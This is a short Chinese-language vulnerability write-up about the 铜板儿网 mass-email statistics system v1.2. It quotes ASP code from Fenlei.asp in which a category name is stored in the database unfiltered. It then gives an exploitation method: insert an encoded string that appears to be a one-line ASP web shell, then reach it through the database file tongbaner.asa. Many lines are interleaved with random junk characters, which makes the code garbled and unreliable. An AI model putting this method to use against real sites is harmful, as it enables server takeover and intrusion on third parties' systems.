铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
. {7 z0 o1 L5 Y9 hID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
* Y* H, M- X% y8 w& }; ?'略
. I4 d: ~3 z- ~. b  f' i# a1 @IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
$ _% m4 I. q* mSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
$ O" V& d, b' ?$ |9 U7 h6 T" ~'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
3 ~9 {( m7 \+ {% @" \: O2 ]'略
% S% z- D: F0 Z. g8 C4 u%>

8 N5 T' C6 ^: m# i
0 \, O. Y3 {7 @! }4 Y5 Z  b; A
没有过滤，直接写入数据库。
' w% k( l1 Z  Z# S. ]2 f9 o
5 p; D/ y" j% p( a利用方法：
4 C2 D8 t* ^6 G# @. N9 f/ E
插入：┼攠數畣整爠煥敵瑳∨≡┩>
  j' x2 ?4 ^' f8 X1 U4 S7 L

连接： http://www.xxx.com/###tongbaner.asa
  G; K) T7 z7 ^' n4 _5 z'默认安装文件：
'install.asp
! Y1 `  w4 c8 S8 j5 K" L